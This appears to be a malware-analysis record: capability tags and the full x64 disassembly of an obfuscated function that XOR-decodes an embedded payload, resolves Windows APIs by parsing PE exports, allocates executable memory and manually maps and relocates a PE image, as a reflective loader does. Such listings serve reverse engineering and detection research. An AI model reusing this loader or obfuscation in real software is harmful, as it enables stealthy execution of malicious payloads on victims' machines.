Function at 0x180001080
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
cmp dword [0x180020a64], 0xa
jl 0x1800010b2
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010b2
nop word [rax + rax]
jmp 0x1800010b0
mov dl, byte [section..data]
mov byte [rsp + 0x3c], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001108
test eax, eax
je 0x180001108
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop dword [rax]
test bl, bl
je 0x180001100
mov byte [rsp + 0x3c], dl
cmp ecx, 0xa
jl 0x180001115
test eax, eax
jne 0x180001240
mov dl, byte [0x180004001]
mov byte [rsp + 0x3d], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001168
test eax, eax
je 0x180001168
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x180001160
mov byte [rsp + 0x3d], dl
cmp ecx, 0xa
jl 0x180001175
test eax, eax
jne 0x180001240
mov dl, byte [0x180004002]
mov byte [rsp + 0x3e], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800011c8
test eax, eax
je 0x1800011c8
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x1800011c0
mov byte [rsp + 0x3e], dl
cmp ecx, 0xa
jl 0x1800011d1
test eax, eax
jne 0x180001240
mov bl, byte [0x180004003]
mov byte [rsp + 0x3f], bl
mov eax, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp edi, 0xa
jl 0x180001228
test edx, edx
je 0x180001228
mov eax, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setl cl
or cl, r8b
nop dword [rax + rax]
test cl, cl
je 0x180001220
mov byte [rsp + 0x3f], bl
cmp edi, 0xa
jl 0x180001242
test edx, edx
je 0x180001242
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x180001240
mov ecx, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180020a70], 0xa
setl dl
or dl, cl
cmp dl, 1
jne 0x1800012b0
mov r15d, dword [rsp + 0x3c]
xor ebp, ebp
lea r12, section..data
nop word cs:[rax + rax]
nop dword [rax]
cmp r15, rbp
je 0x1800012b2
mov ecx, ebp
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor cl, byte [rbp + r12 + 0x404]
xor cl, 0xc
mov byte [rbp + r12 + 0x404], cl
add rbp, 1
test dl, dl
jne 0x180001280
nop
jmp 0x1800012b0
cmp edi, 0xa
jl 0x1800012d2
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800012d2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800012d0
lea r10, [r15 + r12]
add r10, 0x404
mov esi, 3
lea r8, [rsp + 0x38]
mov rax, r8
mov rbx, r10
mov cl, byte [r10]
jmp 0x180001300
mov cl, byte [rbx]
nop word cs:[rax + rax]
nop
mov byte [rax], cl
mov edx, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
cmp edi, 0xa
jl 0x180001320
test ebp, ebp
jne 0x180001300
cmp edi, 0xa
jl 0x18000132d
test ebp, ebp
jne 0x180001570
add rax, 1
add rbx, 1
sub rsi, 1
jae 0x1800012f2
cmp dword [0x180020a70], 0xa
jl 0x180001582
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001582
cmp edi, 0xa
jl 0x180001371
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
jne 0x180001580
mov dl, byte [r15 + r12 + 0x404]
mov byte [rsp + 0x38], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800013c8
test eax, eax
je 0x1800013c8
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop dword [rax]
test bl, bl
je 0x1800013c0
mov byte [rsp + 0x38], dl
cmp ecx, 0xa
jl 0x1800013d5
test eax, eax
jne 0x180001560
mov dl, byte [r15 + r12 + 0x405]
mov byte [rsp + 0x39], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001438
test eax, eax
je 0x180001438
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001430
mov byte [rsp + 0x39], dl
cmp ecx, 0xa
jl 0x180001445
test eax, eax
jne 0x180001560
mov dl, byte [r15 + r12 + 0x406]
mov byte [rsp + 0x3a], dl
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800014a8
test eax, eax
je 0x1800014a8
mov ebp, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r9b
cmp ecx, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x1800014a0
mov byte [rsp + 0x3a], dl
cmp ecx, 0xa
jl 0x1800014b5
test eax, eax
jne 0x180001560
mov cl, byte [r15 + r12 + 0x407]
mov byte [rsp + 0x3b], cl
mov edx, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp edi, 0xa
jl 0x180001518
test eax, eax
je 0x180001518
mov edx, dword [0x180020a68]
mov edi, dword [0x180020a64]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
sete r9b
cmp edi, 0xa
setl bl
or bl, r9b
nop word cs:[rax + rax]
nop dword [rax + rax]
test bl, bl
je 0x180001510
mov byte [rsp + 0x3b], cl
cmp edi, 0xa
jl 0x180001521
test eax, eax
jne 0x180001560
mov esi, 3
mov rax, r8
mov rbx, r10
cmp edi, 0xa
jl 0x1800012f2
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, 3
mov rax, r8
mov rbx, r10
and ecx, 1
je 0x1800012f2
jmp 0x1800012d0
jmp 0x180001560
jmp 0x180001570
jmp 0x180001580
add r10, 4
mov edi, dword [rsp + 0x38]
test rdi, rdi
mov qword [rsp + 0x50], r10
je 0x1800016eb
xor eax, eax
cmp edi, 0x20
jb 0x1800016c6
lea rdx, [rdi - 1]
cmp rdx, 0x400
jae 0x1800016c6
lea rcx, [r15 + r12]
add rcx, 0x408
lea rdx, [rdi + r12]
add rdx, 4
cmp rcx, rdx
jae 0x1800015ed
lea rcx, [rdi + r15]
add rcx, r12
add rcx, 0x408
lea rdx, str.mjUUftlEkYCnfvDClfhHISRLCpCvKuBzIOYOXcGnqtmKOjOtKJKEPVIuOGMcjkKgAhjgbATZnYxuItVPKBDSLlXgtpftfgQLiigwBJjiXEPlrzeGoEbOyZKRIYhwzHYzSUJzMBWmeOKqqaBQMbiFBRIBLCoDWKzEyemXTVhpgnGnjRfUkJbTVtjqujTxZLstplalkfaZOcMSBqsWzkCwgiJtOFChMaFjPYeEbwQyCmnOxqufKnBzkISYluyVqUzaJjzjgEadkMjBDfBiOtIDmUwUVlEySFsScZFXRoHGLEXZAukVRnDAPjQDKbqpxskrFfMEyGAHXEunvtZpoLkAXWDapvtmPrIjwddoTKwEtjlsXleOpuwDPwULGkxvbGdhSaGuWdWfScBePxSUrDbAyzCutwEqsqpCvsuIZJFrwBREhiopEliAgPeLaRLoaVWTZJmlYcSDAOzSJSAkebSCTbdcOqKUhtkdjpTXMAzgJAoikWSWcVdYuonjGcKGBHVmSkwCpYHwQnuGUrIqwYEtVjBgURtqVfDchDxfAIBZCKsozVcRezIPcmXtDlmdceqmYrrBtVZRQlGQRYjazzuzDWHDXZfoltUGAEtartzHnVBtHmvWaIPFkkYVDBrPLJMFkipFuoJhTDrwnZLpHxkgjXSgPBeitmuiMBhJdjsGqLFKZsmtPXwpnaTdJsUsajcqgXVxSJWzeCvrjykaAyiOljQIFAlgwDblBQxXOpukWZfmIVcDKCXYrKZxJqwccAQeznbbvbAPREyhrjOhzWkIYQxxRjnckZzjPfpSqMfTdMmGBpElnyRYUhstHqQTPWTtWtoYCuggIVxiKipAkuAqxoaWeDFeKopHlrVkMPktxSdulIvklxUxaqpvRzEEVUqYLtALzKEvYYwyBiZhAMYYWosmPVbHPDgXPjPcvVkmDUqlDxqkdYIogftTMOEoqFzPYdqyiDCprXrvpnmrDEOfXmKTGMVTxKwlichkVsrlGIAeKpoFCnycSBTrKMVIkCa
cmp rcx, rdx
jbe 0x1800015ed
xor eax, eax
jmp 0x1800016c6
mov eax, edi
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov ecx, edx
and ecx, 1
test rbp, rbp
je 0x180001685
lea rbx, [r15 + r12]
add rbx, 0x438
mov rbp, rcx
sub rbp, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [rbx + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rsi - 0x10]
movups xmm3, xmmword [rbx + rsi]
movups xmmword [rbx + rsi - 0x30], xmm2
movups xmmword [rbx + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r12 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rsi - 0x10], xmm0
movups xmmword [rbx + rsi], xmm1
add rsi, 0x40
add rbp, 2
jne 0x18000161e
jmp 0x180001687
xor esi, esi
test rcx, rcx
mov r10, qword [rsp + 0x50]
je 0x1800016c1
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [r10 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rsi], xmm2
movups xmmword [r10 + rsi + 0x10], xmm0
cmp rax, rdi
je 0x1800016eb
lea rdx, [r15 + r12]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, rdi
jb 0x1800016d1
cmp dword [0x180020a74], 0xa
jl 0x180001712
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001712
nop word cs:[rax + rax]
nop
jmp 0x180001710
add r15, 0x408
movsxd rax, dword [0x180004440]
mov rsi, r10
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001723
add rax, r12
add rax, 0x404
mov qword [rsp + 0x48], rax
mov r14, rsi
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x18000173d
mov rbp, r14
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x18000174a
mov r13, rbp
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001757
mov rbx, r13
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001765
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001771
mov rcx, rsi
call fcn.180002530
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800017a3
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cdb
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800017d2
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cdd
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x40], rsi
add r8, r9
mov eax, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rax, r9
add r10, r9
mov esi, dword [rax]
add rsi, r9
mov rbp, r14
nop word [rax + rax]
movzx edx, byte [rbp]
movzx ecx, byte [rsi]
test dl, dl
je 0x180001817
add rbp, 1
add rsi, 1
cmp dl, cl
je 0x180001800
cmp dl, cl
je 0x180001825
add rax, 4
add r10, 2
jmp 0x1800017ef
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001857
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cdf
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001886
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ce1
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov esi, dword [rdx]
add rsi, r10
mov rbp, r13
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x1800018c7
add rbp, 1
add rsi, 1
cmp al, bl
je 0x1800018b0
cmp al, bl
je 0x1800018d5
add rdx, 4
add rcx, 2
jmp 0x180001899
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, qword [rsp + 0x40]
call fcn.180002530
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000192d
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ce3
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x18000195b
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ce5
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov edi, dword [rdx]
add rdi, rsi
xor ebp, ebp
nop word cs:[rax + rax]
nop dword [rax]
lea rax, [r15 + rbp]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rdi + rbp]
test al, al
je 0x180001999
add rbp, 1
cmp al, bl
je 0x180001980
cmp al, bl
je 0x1800019a7
add rdx, 4
add rcx, 2
jmp 0x18000196c
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rax, qword [rsp + 0x48]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
mov ecx, dword [0x180020a6c]
mov r10d, dword [0x180020a70]
lea ebp, [rcx - 1]
imul ebp, ecx
cmp r10d, 0xa
jl 0x180001cf5
mov edx, ebp
and edx, 1
je 0x180001cf5
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a74], 0xa
mov rdx, qword [rsp + 0x50]
mov rbp, rdx
jl 0x180001a21
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
mov rbp, rdx
and ecx, 1
jne 0x180001ce7
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001a21
mov rbx, rbp
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001a2e
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a3a
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a44
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a51
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a5d
mov rcx, rbp
call fcn.180002530
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001a91
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ce9
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001ac0
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ceb
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
add r8, r9
mov eax, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rax, r9
add r10, r9
mov esi, dword [rax]
add rsi, r9
mov rbp, rbx
nop word cs:[rax + rax]
nop
movzx edx, byte [rbp]
movzx ecx, byte [rsi]
test dl, dl
je 0x180001b07
add rbp, 1
add rsi, 1
cmp dl, cl
je 0x180001af0
cmp dl, cl
je 0x180001b15
add rax, 4
add r10, 2
jmp 0x180001add
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov rdi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001b47
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ced
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001b75
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cef
add r8, rdi
mov edx, dword [rdi + rcx + 0x20]
mov esi, dword [rdi + rcx + 0x24]
add rdx, rdi
add rsi, rdi
mov ebp, dword [rdx]
add rbp, rdi
mov rbx, r14
nop
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001ba7
add rbx, 1
add rbp, 1
cmp al, cl
je 0x180001b90
cmp al, cl
je 0x180001bb5
add rdx, 4
add rsi, 2
jmp 0x180001b86
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call rdi
mov rcx, qword [rsp + 0x48]
call fcn.180002530
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001c0c
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001cf1
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001c3a
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001cf3
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
xor edi, edi
nop word cs:[rax + rax]
nop dword [rax]
lea rax, [r15 + rdi]
movzx eax, byte [r12 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001c7a
add rdi, 1
cmp al, bl
je 0x180001c60
cmp al, bl
je 0x180001c88
add rdx, 4
add rcx, 2
jmp 0x180001c4b
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + r12 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
cmp dword [0x180020a74], 0xa
mov r10, qword [rsp + 0x50]
jl 0x180001719
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001719
jmp 0x180001710
jmp 0x180001cdb
jmp 0x180001cdd
jmp 0x180001cdf
jmp 0x180001ce1
jmp 0x180001ce3
jmp 0x180001ce5
jmp 0x180001ce7
jmp 0x180001ce9
jmp 0x180001ceb
jmp 0x180001ced
jmp 0x180001cef
jmp 0x180001cf1
jmp 0x180001cf3
test bpl, 1
sete bl
cmp r10d, 0xa
setl dl
or dl, bl
cmp dl, 1
jne 0x180001df3
mov r13, rax
mov rbp, qword [rsp + 0x48]
lea r8, [rbp + 0x108]
xor r9d, r9d
mov rbp, qword [rsp + 0x48]
movzx ebp, word [rbp + 6]
cmp r9, rbp
jae 0x180001dfb
cmp dword [0x180020a64], 0xa
jl 0x180001d50
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001df7
lea rdx, [r9 + r9*4]
mov eax, dword [r8 + rdx*8 + 0xc]
mov ecx, dword [r8 + rdx*8 + 0x10]
mov edx, dword [r8 + rdx*8 + 0x14]
add rdx, r12
add rdx, 0x404
mov rbp, r13
add rax, r13
sub rcx, 1
jb 0x180001db6
movzx ebx, byte [rdx]
mov byte [rax], bl
mov ebp, dword [0x180020a68]
mov ebx, dword [0x180020a64]
lea edi, [rbp - 1]
imul edi, ebp
and edi, 1
cmp ebx, 0xa
jl 0x180001da3
test edi, edi
je 0x180001da3
movzx ebx, byte [rdx]
mov byte [rax], bl
jmp 0x180001d79
add rdx, 1
add rax, 1
cmp ebx, 0xa
jl 0x180001d73
test edi, edi
je 0x180001d73
jmp 0x180001df5
mov ecx, dword [0x180020a6c]
mov r10d, dword [0x180020a70]
lea ebp, [rcx - 1]
imul ebp, ecx
cmp r10d, 0xa
jl 0x180001dd6
mov edx, ebp
and edx, 1
jne 0x180001df9
add r9, 1
test bpl, 1
sete bl
cmp r10d, 0xa
setl dl
or dl, bl
cmp dl, 1
je 0x180001d20
jmp 0x180001df3
jmp 0x180001df5
jmp 0x180001df7
jmp 0x180001df9
mov rbp, qword [rsp + 0x48]
mov edi, dword [rbp + 0xb0]
mov rax, r13
cmp dword [r13 + rdi], 0
je 0x180002044
mov r15, r13
add rdi, r13
mov rbp, qword [rsp + 0x48]
mov rbp, qword [rbp + 0x30]
sub r15, rbp
movabs r8, 0x1fffffff8
mov r12, rdi
test dl, 1
jne 0x180001e73
jmp 0x180002042
mov ebp, dword [r12 + 4]
lea rdi, [r12 + rbp]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp r10d, 0xa
setl dl
or dl, bl
cmp dword [r12 + rbp], 0
mov r12, rdi
je 0x180002044
test dl, 1
je 0x180002042
mov ebx, dword [r12 + 4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp rbx, 7
jbe 0x180002028
cmp r10d, 0xa
jl 0x180001e99
test edx, edx
jne 0x18000203c
add rbx, r8
shr rbx, 1
mov r9d, ebx
xor r11d, r11d
cmp r11, r9
je 0x180002028
movzx ebx, word [r12 + r11*2 + 8]
mov esi, ebx
shr esi, 0xc
mov edx, ebx
and edx, 0xfff
cmp ebx, 0xa000
jae 0x180001fc0
cmp esi, 3
jne 0x180001ffd
cmp r10d, 0xa
jl 0x180001eeb
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002040
mov eax, dword [rdi]
mov rcx, r13
lea rax, [rax*4]
add rax, r13
mov edx, edx
add dword [rax + rdx*4], r15d
mov ecx, dword [0x180020a6c]
mov r10d, dword [0x180020a70]
cmp r10d, 0xa
jl 0x180001ffd
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
je 0x180001ffd
mov rax, r13
lea rdx, [rdx*4]
add rdx, r13
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp r10d, 0xa
jl 0x180001f64
test ebx, ebx
je 0x180001f64
mov eax, dword [rdi]
add dword [rdx + rax*4], r15d
mov ecx, dword [0x180020a6c]
mov r10d, dword [0x180020a70]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp r10d, 0xa
jl 0x180001f6e
test ebx, ebx
jne 0x180001f8e
mov eax, dword [rdi]
add dword [rdx + rax*4], r15d
cmp dword [0x180020a70], 0xa
jl 0x180001f96
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001f96
mov eax, dword [rdi]
add dword [rdx + rax*4], r15d
jmp 0x180001f6e
mov eax, dword [rdi]
add dword [rdx + rax*4], r15d
mov ecx, dword [0x180020a6c]
mov r10d, dword [0x180020a70]
cmp r10d, 0xa
jl 0x180001ffd
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001f35
jmp 0x180001ffd
cmp esi, 0xa
jne 0x180001ffd
mov eax, dword [rdi]
mov rcx, r13
add rdx, r13
add qword [rax + rdx], r15
mov ecx, dword [0x180020a6c]
mov r10d, dword [0x180020a70]
cmp r10d, 0xa
jl 0x180001ffd
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
je 0x180001ffd
mov eax, dword [rdi]
add qword [rdx + rax], r15
mov eax, dword [rdi]
add qword [rdx + rax], r15
jmp 0x180001fd1
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp r10d, 0xa
jl 0x180002010
test edx, edx
jne 0x18000203e
add r11, 1
cmp r10d, 0xa
jl 0x180001ea5
test edx, edx
je 0x180001ea5
jmp 0x18000203c
cmp r10d, 0xa
jl 0x180001e3e
test edx, edx
je 0x180001e3e
jmp 0x18000203a
jmp 0x18000203c
jmp 0x18000203e
jmp 0x180002040
jmp 0x180002042
test dl, 1
je 0x18000205c
cmp r10d, 0xa
jl 0x18000205e
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x18000205e
jmp 0x18000205a
jmp 0x18000205c
mov rcx, r13
lea rax, [r13 + 2]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x90]
add rax, r13
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x18000250c
add r12, r13
mov rcx, qword [rsp + 0x40]
call fcn.180002530
mov rdi, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800020bd
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024fe
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800020eb
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002500
add r8, rdi
mov ebx, dword [rdi + rcx + 0x20]
mov ecx, dword [rdi + rcx + 0x24]
add rbx, rdi
add rcx, rdi
mov esi, dword [rbx]
add rsi, rdi
mov rbp, r14
movzx eax, byte [rbp]
movzx edx, byte [rsi]
test al, al
je 0x18000211b
add rbp, 1
add rsi, 1
cmp al, dl
je 0x180002104
cmp al, dl
je 0x180002129
add rbx, 4
add rcx, 2
jmp 0x1800020fc
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov rcx, r12
call rdi
mov r15, rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800022d4
test edx, edx
je 0x1800022d4
mov rcx, qword [rsp + 0x40]
call fcn.180002530
mov rdi, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000218c
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024f6
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800021ba
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800024f8
add r8, rdi
mov ebx, dword [rdi + rcx + 0x20]
mov ecx, dword [rdi + rcx + 0x24]
add rbx, rdi
add rcx, rdi
mov esi, dword [rbx]
add rsi, rdi
mov rbp, r14
movzx eax, byte [rbp]
movzx edx, byte [rsi]
test al, al
je 0x1800021ea
add rbp, 1
add rsi, 1
cmp al, dl
je 0x1800021d3
cmp al, dl
je 0x1800021f8
add rbx, 4
add rcx, 2
jmp 0x1800021cb
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov rcx, r12
call rdi
mov rcx, qword [rsp + 0x40]
call fcn.180002530
mov rdi, rax
